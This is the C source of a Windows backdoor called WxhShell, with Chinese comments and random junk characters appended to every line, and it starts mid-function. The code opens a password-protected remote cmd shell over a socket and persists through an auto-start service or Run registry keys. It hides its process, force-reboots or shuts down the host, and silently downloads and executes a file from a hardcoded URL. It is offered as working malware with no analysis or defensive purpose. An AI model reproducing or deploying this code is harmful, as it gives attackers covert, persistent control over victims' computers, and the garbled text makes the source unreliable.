    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iM\ Z J6  
    if(Boot(SHUTDOWN)) Lm*LJ_+ B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IYM@(c@ld0  
    else { P=SxiXsr$  
    closesocket(wsh); A^r [_dyZ  
    ExitThread(0); a9@l8{)RX  
    } #Zavdkw=d  
    break; e/HX,sf_g  
    } :DX/r  
  // 获取shell QhE("}1  
  case 's': { X$9D0;L  
    CmdShell(wsh); {z[HNSyRs  
    closesocket(wsh); p3A-WK|NX  
    ExitThread(0); I|3v&E 1  
    break; [>Kxm  
  } c;~Llj P  
  // 退出 Aya;ycsgE  
  case 'x': { Ppb2"Ik  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FO'. a  
    CloseIt(wsh); ://|f  
    break;  RoM*Qjw  
    } CIik@O*  
  // 离开 !{~7)iq  
  case 'q': { l& ^B   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p2NB~t7Z  
    closesocket(wsh); X8l1xD  
    WSACleanup(); Q-dHR i  
    exit(1); pYhI{  
    break; M"$RtS|h  
        } ]MA)=' ~  
  } bQN4ozSi  
  } by y1MgQd  
sImxa`kb  
  // 提示信息 J0WXH/:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ohtn^o;C}  
} _2 !e!Z  
  } MdoWqpC  
9B;Sk]y  
  return; eP'kY(g8   
} sK9h=J;F/  
T#^6u)  
// shell模块句柄 "KT nX#<0  
int CmdShell(SOCKET sock) {FmFu$z+[  
{ u/:Sf*;?  
STARTUPINFO si; "vRqtEBO@  
ZeroMemory(&si,sizeof(si)); dv9Pb5i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tx?@* Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nPIR 1Z  
PROCESS_INFORMATION ProcessInfo; 3^-)gK  
char cmdline[]="cmd"; /G{3p&9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n]{}C.C=  
  return 0; N8(x),  
} .Zt/e>K&  
/sC[5G%  
// 自身启动模式 v*]Xur6e}  
int StartFromService(void) YK+Z0ry  
{ .6/p4OR|  
typedef struct |2&mvjk@H  
{ eD1MP<>h  
  DWORD ExitStatus;  p|8Fl  
  DWORD PebBaseAddress; rHdP4:n  
  DWORD AffinityMask; `M<G8ob  
  DWORD BasePriority; yhn $4;m  
  ULONG UniqueProcessId; .p0n\ $r  
  ULONG InheritedFromUniqueProcessId; BH*]OXW\  
}   PROCESS_BASIC_INFORMATION; v%7JZ<I'A  
IguG0 3:.N  
PROCNTQSIP NtQueryInformationProcess; @dKf]&h%%  
}N9a!,{P=b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +~k,4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z iGL4c0p  
l45F*v]^  
  HANDLE             hProcess; -Izg&u &  
  PROCESS_BASIC_INFORMATION pbi; jW$f(qAbm  
hgr ,v"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B;7s]R  
  if(NULL == hInst ) return 0; I%|s  
KQZRzX>0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (V?`W7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <gz MDX[^M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XUNgt(OGR'  
5h^qtK  
  if (!NtQueryInformationProcess) return 0; (9_e >2_  
$`{q =  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5e8-?w% e  
  if(!hProcess) return 0; g\nL n#  
A"ph!* i{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kRa$jD^?  
jtpNo~O  
  CloseHandle(hProcess); 4i&!V9@:  
pR7G/]U$A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ct/THq  
if(hProcess==NULL) return 0; Z$K%@q,10+  
"Ksd9,J\b  
HMODULE hMod; ! m5\w>  
char procName[255]; `CouP-g.  
unsigned long cbNeeded; 9>, \QrrH  
2qR@: ^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TEyPlSGG  
evk <<zi  
  CloseHandle(hProcess); }33Au-%*  
.%h_W\M<l  
if(strstr(procName,"services")) return 1; // 以服务启动 U]&%EqLS  
(P] ^5D  
  return 0; // 注册表启动 V"p*Jd"w  
} B>L^XGq  
Z{)|w=  
// 主模块 2YEn)A@8  
int StartWxhshell(LPSTR lpCmdLine) . k DCcnm  
{ ]V\ g$@  
  SOCKET wsl; 52Ffle8  
BOOL val=TRUE; $}o,7xAn  
  int port=0; r 24]2A  
  struct sockaddr_in door;  0d)n} fm  
@d9*<>@:  
  if(wscfg.ws_autoins) Install(); C>-"*Lt  
&G,v*5N8$K  
port=atoi(lpCmdLine); L7'n<$F  
"d*  
if(port<=0) port=wscfg.ws_port; dQ o$^?  
` u)V 9{  
  WSADATA data; 1fG@r%4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uB!P>v6  
O4URr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t)b>f~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2!`Z3>Oa  
  door.sin_family = AF_INET; A[Xw|9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !LESRh?  
  door.sin_port = htons(port); ~$ Yuxo  
p`C5jfI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 05DtU!3O  
closesocket(wsl); 7P(:!ce4-  
return 1; 1O{67Pf  
} ld0WZj  
A#\X-8/  
  if(listen(wsl,2) == INVALID_SOCKET) { '7%9Sqx  
closesocket(wsl); ?q7Gs)B=^'  
return 1; -O6o^Dk  
} 8;bOw  
  Wxhshell(wsl); 4K,&Q/Vdd7  
  WSACleanup(); SxyFFt  
RR9s%>^  
return 0; oOvbel`;  
\8H"lcj:  
} oOw"k*,h:S  
^ `9OA`2  
// 以NT服务方式启动 g M.(BN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iE{SqX  
{ eLWzd_ln  
DWORD   status = 0; ![Y$[l  
  DWORD   specificError = 0xfffffff; ijT^gsLL  
?/g(Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R2gax;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m{" zFD/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fe,CY5B{  
  serviceStatus.dwWin32ExitCode     = 0; oWT0WS  
  serviceStatus.dwServiceSpecificExitCode = 0; GR9F^Y)K{  
  serviceStatus.dwCheckPoint       = 0; 0_)\e  
  serviceStatus.dwWaitHint       = 0; NIGFu{S  
Q0A1N[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7hQl,v< 5  
  if (hServiceStatusHandle==0) return; L.(k8eX  
Z$gY}Bz  
status = GetLastError(); P#]jPW  
  if (status!=NO_ERROR) 8;@eY`0(  
{ 4+Kc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ul1Vsj  
    serviceStatus.dwCheckPoint       = 0; +z_0?x  
    serviceStatus.dwWaitHint       = 0; #YV;Gp(2h  
    serviceStatus.dwWin32ExitCode     = status; :\XD.n-n  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6y5~Kh6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UJ+JVj   
    return; p<NgT1"{  
  } q9>w3 <  
{w(N9Va,(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }r[BME  
  serviceStatus.dwCheckPoint       = 0; [\y>Gv%  
  serviceStatus.dwWaitHint       = 0; TW$^]u~v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G{9y`;  
} {0~ p"%*  
# jyAq$I0  
// 处理NT服务事件,比如:启动、停止 6C=.8eP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nfEk,(:  
{ xae7#d0  
switch(fdwControl) T/nRc_I+^B  
{ 6{ Eh={:b  
case SERVICE_CONTROL_STOP: 0o`o'ZV=c  
  serviceStatus.dwWin32ExitCode = 0; /6fsh7 \  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hvwr!(|W  
  serviceStatus.dwCheckPoint   = 0; )XWL'':bF  
  serviceStatus.dwWaitHint     = 0; N[%IrN3  
  { Ex{]<6UAu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `K.yE0^i  
  } o>h>#!e  
  return; /nNHI34  
case SERVICE_CONTROL_PAUSE: %1<|.Dmd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +Y+kx"8  
  break; H3b`)k sFr  
case SERVICE_CONTROL_CONTINUE: "7d_$.Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MH-,+-Eq  
  break; ! `o =2b=N  
case SERVICE_CONTROL_INTERROGATE: "|H0 X#  
  break; %vI]"a@  
}; uFgw eOJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %$Uw]a  
} 'DPSM?]fA  
F~6[DqF\|  
// 标准应用程序主函数 W0Vjs|/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 78kk"9h'  
{ X|:O`b$G  
C.|MA(7  
// 获取操作系统版本 L!5HE])<)  
OsIsNt=GetOsVer(); :\Dm=Q\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;%&@^;@k%  
4_eq@'9-q  
  // 从命令行安装 BR*U9K|W  
  if(strpbrk(lpCmdLine,"iI")) Install(); G!uxpZ   
wS*UXF&f  
  // 下载执行文件 -3C~}~$>`  
if(wscfg.ws_downexe) { . Hw^Nx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -Cl0!}P4I  
  WinExec(wscfg.ws_filenam,SW_HIDE); !q?}[E2  
} _[V 6s#Wk3  
>8c9-dTmf  
if(!OsIsNt) { W NCdk$  
// 如果时win9x,隐藏进程并且设置为注册表启动 L=>N#QR7  
HideProc(); *Co+UJjT  
StartWxhshell(lpCmdLine); -c. a7  
} `%VrT`  
else 6mZFsB  
  if(StartFromService()) .nnAI@7E  
  // 以服务方式启动 :'03*A_[  
  StartServiceCtrlDispatcher(DispatchTable); cVU[>gkg_  
else d+kIof,  
  // 普通方式启动 is,_r(S  
  StartWxhshell(lpCmdLine); vU _#(jZ  
b=sc2 )3?  
return 0; .Q7z<Q  
} >:.Bn8-  
3s+D x$Ud  
Z+4J4Ka^!(  
d]<tFx>CQW  
=========================================== p ^Ruf?>  
DY%E&Vd:h  
gC?k6)p$N  
@uHNz-c  
16AYB17  
/PO5z7n0J  
" '{EDdlX  
)%0#XC^/X5  
#include <stdio.h> tkA '_dcIC  
#include <string.h> cP-6O42  
#include <windows.h> VHy$\5oYg  
#include <winsock2.h> Ma$b(4dB  
#include <winsvc.h> :`d& |BB  
#include <urlmon.h> +=*ZH `qX  
F2#^5s(  
#pragma comment (lib, "Ws2_32.lib") FXIQS'  
#pragma comment (lib, "urlmon.lib") ^ `!6Yax?  
5 gE  
#define MAX_USER   100 // 最大客户端连接数 oY &r76  
#define BUF_SOCK   200 // sock buffer AV?*r-vWL.  
#define KEY_BUFF   255 // 输入 buffer \JX8`]|&  
PR6{Y]e%  
#define REBOOT     0   // 重启 h[Hw9$31  
#define SHUTDOWN   1   // 关机 `5 bHZ  
>-Jutr<I"~  
#define DEF_PORT   5000 // 监听端口 ibh!8"[  
E0w>c'kH  
#define REG_LEN     16   // 注册表键长度 y5>H>NS  
#define SVC_LEN     80   // NT服务名长度 *@dqAr%  
t>^An:xT  
// 从dll定义API I-^Y$6-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;s{rJG{inG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P66>w})@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (sZ B-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yPW?%7 h  
I~Ziq10  
// wxhshell配置信息 mN, Od?q[  
struct WSCFG { ~%'M[3Rb  
  int ws_port;         // 监听端口 60*=Bs%b  
  char ws_passstr[REG_LEN]; // 口令 l%U{Unwu  
  int ws_autoins;       // 安装标记, 1=yes 0=no ) "'J]6  
  char ws_regname[REG_LEN]; // 注册表键名 }oU0J  
  char ws_svcname[REG_LEN]; // 服务名 4Xlq Ym  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  \:Q)Ef  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y~,N,>nITu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hl8[A-d(R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [W` _`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2\_}81 hM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /S%{`F=  
C"K(-/  
}; Z{|wjZb(  
+as(m  
// default Wxhshell configuration HqOzArp3  
struct WSCFG wscfg={DEF_PORT, XfharJ_b  
    "xuhuanlingzhe", N,L$+wm  
    1, C/!kMMh>vV  
    "Wxhshell", nF]lSg&]X  
    "Wxhshell", c<|;<8ew  
            "WxhShell Service", ftRf~5d2  
    "Wrsky Windows CmdShell Service", +eQg+@u  
    "Please Input Your Password: ", SD |5v*  
  1, *1|&uE&_R  
  "http://www.wrsky.com/wxhshell.exe", a=Pl3Uo  
  "Wxhshell.exe" du  Pzt  
    }; U2seD5I  
xwq {0jY  
// 消息定义模块 /g@!#Dt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; id'E_]r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J#"@~Q+a`@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M"W-|t)~  
char *msg_ws_ext="\n\rExit."; It&$R`k  
char *msg_ws_end="\n\rQuit."; mGb,oj7l  
char *msg_ws_boot="\n\rReboot..."; um~U_&>  
char *msg_ws_poff="\n\rShutdown..."; T|[zk.8=E  
char *msg_ws_down="\n\rSave to "; h{#Hwp  
[WW3'= e^  
char *msg_ws_err="\n\rErr!"; A@4sb W_  
char *msg_ws_ok="\n\rOK!"; |bA\>%~  
3U^E<H  
char ExeFile[MAX_PATH]; Xf(H_&K  
int nUser = 0; qf-0 | w  
HANDLE handles[MAX_USER]; rZEL7{  
int OsIsNt; Dn1aaN6  
f5'Cq)Vw_  
SERVICE_STATUS       serviceStatus; < j^8L^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?U$H`[VF}  
A&XI1. j6  
// 函数声明 `ZhDoLpH<  
int Install(void); 7b7@"Zw*  
int Uninstall(void); 8Th{(J_  
int DownloadFile(char *sURL, SOCKET wsh); ,t2Mur  
int Boot(int flag); yy8h8{=g  
void HideProc(void); ei%L[>N  
int GetOsVer(void); Pv@Lx+ k  
int Wxhshell(SOCKET wsl); 1ayL*tr  
void TalkWithClient(void *cs); L;6L@D6  
int CmdShell(SOCKET sock); EdR1W~JZ  
int StartFromService(void); KPTp91  
int StartWxhshell(LPSTR lpCmdLine); ,NB?_\$c  
[M?'N w/[S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :@K 1pAh4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zg>4/10P1q  
O7vJ`K(!  
// 数据结构和表定义 h'%iY6!fA  
SERVICE_TABLE_ENTRY DispatchTable[] = SA!P:Q?h  
{ ()%NotN;  
{wscfg.ws_svcname, NTServiceMain}, ?QR13l(  
{NULL, NULL} VEFUj&t;xW  
}; PaIE=Q4gJ  
O(pa;&"  
// 自我安装 U~H]w ,^  
int Install(void) .d/e?H:  
{ ;XAj/6pm  
  char svExeFile[MAX_PATH]; 20h+^R3{Z  
  HKEY key; II;   
  strcpy(svExeFile,ExeFile); <l>o6K  
?9W2wqN>o  
// 如果是win9x系统,修改注册表设为自启动 J7a_a>Y  
if(!OsIsNt) { ,0k3Qi%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4@0y$Dv\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bMU0h,|]  
  RegCloseKey(key); : ZehBu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *{TB<^ *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9\ f%+?p  
  RegCloseKey(key); pT ]:TRPS  
  return 0; 'Sk-L 5  
    } z"D'rHxy  
  } Lgr(j60s  
} ;fi H=_{us  
else { 9IfeaoZZ4q  
so=Ux2  
// 如果是NT以上系统,安装为系统服务 KcPI ,.4{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >_esLsPWh]  
if (schSCManager!=0) "Zr+>a  
{ !N"Y  
  SC_HANDLE schService = CreateService C[c^zn  
  ( 8>4@g!9E  
  schSCManager, \A#YL1hh  
  wscfg.ws_svcname, Ah#bj8}  
  wscfg.ws_svcdisp, hsCts@R  
  SERVICE_ALL_ACCESS, nI0TvB D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zfGS=@e]G  
  SERVICE_AUTO_START, RZ +SOZs7H  
  SERVICE_ERROR_NORMAL, {PBm dX  
  svExeFile, D^dos`L0b  
  NULL, # cGn5c}  
  NULL, S29k IJ  
  NULL, jq_E{Dq1  
  NULL, 'jnR<>N  
  NULL wg.TCT2  
  ); "fH"U1Bw  
  if (schService!=0) VUd=|$'J  
  { 9=o;I;I  
  CloseServiceHandle(schService); Ng,< 4;  
  CloseServiceHandle(schSCManager); qL;u59  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K (px-jY  
  strcat(svExeFile,wscfg.ws_svcname); LWX,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HE BKRpt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FV~ENpncP  
  RegCloseKey(key); RvXK?mL4F  
  return 0; :n0czO6 E  
    } ?j:U<TY)  
  } <&47W  
  CloseServiceHandle(schSCManager); <0sT  
} 8slOB>2#Y  
} e^%>_U  
myq:~^L ;  
return 1; }} s.0Q  
} oEJYAKN  
&\p=s.y?j  
// 自我卸载 7iijATc  
int Uninstall(void) Ew,1*WK!  
{ 6C@W6DR3N  
  HKEY key; 8n2MZ9p]  
u#bd*(  
if(!OsIsNt) { gR#lRA/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %D_pTD\  
  RegDeleteValue(key,wscfg.ws_regname); }eLnTi{  
  RegCloseKey(key); #)BbW40f6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f%gdFtJ &  
  RegDeleteValue(key,wscfg.ws_regname); q'9}Hz  
  RegCloseKey(key); 'h*^;3@*  
  return 0; .5AyB9a%&  
  } J{w[vcf  
} xtq='s8e  
} P \k5%  
else { a9%^Jvm"  
HAca'!p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UB9n7L(@c  
if (schSCManager!=0) Ms61FmA4  
{ ZvVrbj&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JlMD_pA  
  if (schService!=0) -F338J+J24  
  { 5JvrQGvL  
  if(DeleteService(schService)!=0) { bf*VY&S- T  
  CloseServiceHandle(schService); @gM>Lxj  
  CloseServiceHandle(schSCManager); aMq|xHZ  
  return 0; ]IQ`.:g=9  
  } 3;-P(G@  
  CloseServiceHandle(schService); @!np 0#  
  } "j*{7FBqk  
  CloseServiceHandle(schSCManager); r@)_>(  
} NW%u#MZ[h  
} qGK -f4  
z%0'v`7  
return 1; &aLelJ~  
} 9snc *<  
%Bf;F;xuB  
// 从指定url下载文件 B\mRH V!  
int DownloadFile(char *sURL, SOCKET wsh) hH3~O` ~  
{ [OU[i(,{  
  HRESULT hr; W? SFt z  
char seps[]= "/"; uKF)'gj  
char *token; | f}1bJE+  
char *file; H4Lvw8G  
char myURL[MAX_PATH]; g q|]t<'  
char myFILE[MAX_PATH]; H="E#AC%8/  
*Y\C5L ]  
strcpy(myURL,sURL); {wq~+O  
  token=strtok(myURL,seps); B{6wf)[O  
  while(token!=NULL) yd+.hg&J  
  { N)0V6q"  
    file=token; -qW[.B  
  token=strtok(NULL,seps); UZDXv=r|  
  } ]8~{C>ch$  
Y Z.? k4>  
GetCurrentDirectory(MAX_PATH,myFILE); -#agWqUM|T  
strcat(myFILE, "\\"); ]ML(=7z"  
strcat(myFILE, file); M[1!#Q><!  
  send(wsh,myFILE,strlen(myFILE),0); Z!eW_""wp  
send(wsh,"...",3,0); tQYkH$e`/{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }^a" >$DU  
  if(hr==S_OK) HA#9y;\  
return 0; kS)azV  
else Xc H_Y  
return 1; +_"AF|  
]ur_G`B  
} QHmF,P  
)&pcRFl  
// 系统电源模块 ^(c.A YI  
int Boot(int flag) 8H7=vk+  
{ % Ix   
  HANDLE hToken; wUJ>?u9  
  TOKEN_PRIVILEGES tkp; H7Y :l0b  
Spm7kw  
  if(OsIsNt) { 2zN"*Wkn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ekV|a1)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X1Vj"4'wT  
    tkp.PrivilegeCount = 1; tOT(!yz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p?idl`?^3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 57~/QEdy  
if(flag==REBOOT) { 'OjsV$_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )wdTs>W7  
  return 0; 79MF;>=tV  
} Gw@]w;ed  
else { - :~"c@D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MIx,#]C&  
  return 0; ziXZJ^(FI  
} \&#IK9x{  
  } :rzq[J^  
  else { 5'%nLW7;O  
if(flag==REBOOT) { 4mM?RGWv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t,,W{M|E(  
  return 0; 6U(M HxY  
} qC:QY6g$N  
else { jBLLx{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ve&"x Nz<  
  return 0; =b_/_b$q  
} QFX/x  
} (Rs052m1  
K}a3Bj,  
return 1; (@nE e?  
} 5SQqE@g%  
:JD*uu  
// win9x进程隐藏模块 _|f_%S8a_=  
void HideProc(void) {$P')> /  
{ yO*HJpc   
#sHt3z)6I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $Si|;j$?  
  if ( hKernel != NULL ) ==]BrhZK  
  { &|Cd1z#?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ts1XIK%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,(y6XUV~  
    FreeLibrary(hKernel); E=$li  
  } Mo4k6@ht_  
D@?Tq,= [  
return; >p?Vv0*  
} ^=@`U_(,G  
\.K4tY+V  
// 获取操作系统版本 7M,(!*b  
int GetOsVer(void) -POsbb>  
{ eFXQ~~gOj  
  OSVERSIONINFO winfo; S!6 ? b5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9?38/2kX4  
  GetVersionEx(&winfo); :c}"a(|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u6MHdCJ0y  
  return 1; ]9hXiY  
  else GJj}|+|  
  return 0; k\<8h%  
} :/XWk %  
]@wKm1%v  
// 客户端句柄模块 c\DMeYrg  
int Wxhshell(SOCKET wsl) }-N4D"d4o  
{ 5=hMTztf!!  
  SOCKET wsh; n"g)hu^B  
  struct sockaddr_in client; 3](At%ss  
  DWORD myID; aNDpCpy  
vlVHoF;&  
  while(nUser<MAX_USER) { YMO8  
{ ,vs#(d6G  
  int nSize=sizeof(client); hq*"S -N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,*m{Q  
  if(wsh==INVALID_SOCKET) return 1; PUbfQg  
U%V4@iz~\m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FT[of(g^  
if(handles[nUser]==0) Y{7)$'At  
  closesocket(wsh); mPJ@hr%3  
else s0\}Q=s[  
  nUser++; GWW#\0*Bn  
  } a%*W( 4=Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sa w  
c@|f'V4  
  return 0; )zAATBb4.  
} &hu3A)%  
,R[<+!RS  
// 关闭 socket vB Vg/  
void CloseIt(SOCKET wsh) n= A}X4^  
{ ["0DXm%t  
closesocket(wsh); iT=h }>  
nUser--; B+4WnR1%T  
ExitThread(0); )~be<G( a  
} $Y?[[>u  
fM!@cph(8  
// 客户端请求句柄 qlm7eS"sy  
void TalkWithClient(void *cs) IylfMwLC  
{ &1FyauH  
l&{+3aC:  
  SOCKET wsh=(SOCKET)cs; @B9O*x+n:  
  char pwd[SVC_LEN]; Pj ^O8  
  char cmd[KEY_BUFF]; ->r udRQ  
char chr[1]; mt\pndTy7!  
int i,j; fRK=y+gl@  
Rc(E';uc  
  while (nUser < MAX_USER) { 7;@o]9W  
<tgfbY^nL  
if(wscfg.ws_passstr) { nj=nSD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v9MliD'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D:0?u_[W  
  //ZeroMemory(pwd,KEY_BUFF); +ux170Cd3  
      i=0; gQ$0 |0O  
  while(i<SVC_LEN) { 6QePrf  
Pf#DBW*  
  // 设置超时 q'KXn0IY#  
  fd_set FdRead; ,% *Jm  
  struct timeval TimeOut; yC\!6pg  
  FD_ZERO(&FdRead); F0KNkL>&g  
  FD_SET(wsh,&FdRead); (V<pz2\  
  TimeOut.tv_sec=8; @r]1;KG  
  TimeOut.tv_usec=0; 1xjw=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nJR(lXWO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u85?f  
f"Kl? IN8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mk[<=k~  
  pwd=chr[0]; ZO& F15$P  
  if(chr[0]==0xd || chr[0]==0xa) { jygKw+C  
  pwd=0; H+npe'm_Z  
  break; 8I<LZ{a10  
  } `P jS  
  i++; T854}RX[{  
    } IeAUVR S)  
Xu& v3Y~k  
  // 如果是非法用户,关闭 socket \me-#: Gu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =~q Xzq  
} UQnv#a>  
^~W s4[Guo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d(F4-kBd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tUhr gc  
G5 *_  
while(1) { xM13OoU  
8X)1bNGqhe  
  ZeroMemory(cmd,KEY_BUFF); ,lQfsntk'  
cB_ 3~=fV  
      // 自动支持客户端 telnet标准   9 =D13s(C  
  j=0; zTg&W7oz  
  while(j<KEY_BUFF) { %B(E;t63W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K}8wCS F  
  cmd[j]=chr[0]; J<-2dvq  
  if(chr[0]==0xa || chr[0]==0xd) { T1M>N  
  cmd[j]=0; B&?xq)%*#  
  break; G\#dMCk?  
  } K-n]m#U4o  
  j++;  \z?-  
    } Oee>d<  
@!::_E+F]  
  // 下载文件 !Q{~f;L  
  if(strstr(cmd,"http://")) { Nrzg>WQa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e!P]$em|1E  
  if(DownloadFile(cmd,wsh)) \4n9m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /JmWiBQIn  
  else 0RP{_1k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {}tv(8]^  
  } iJzW3%E  
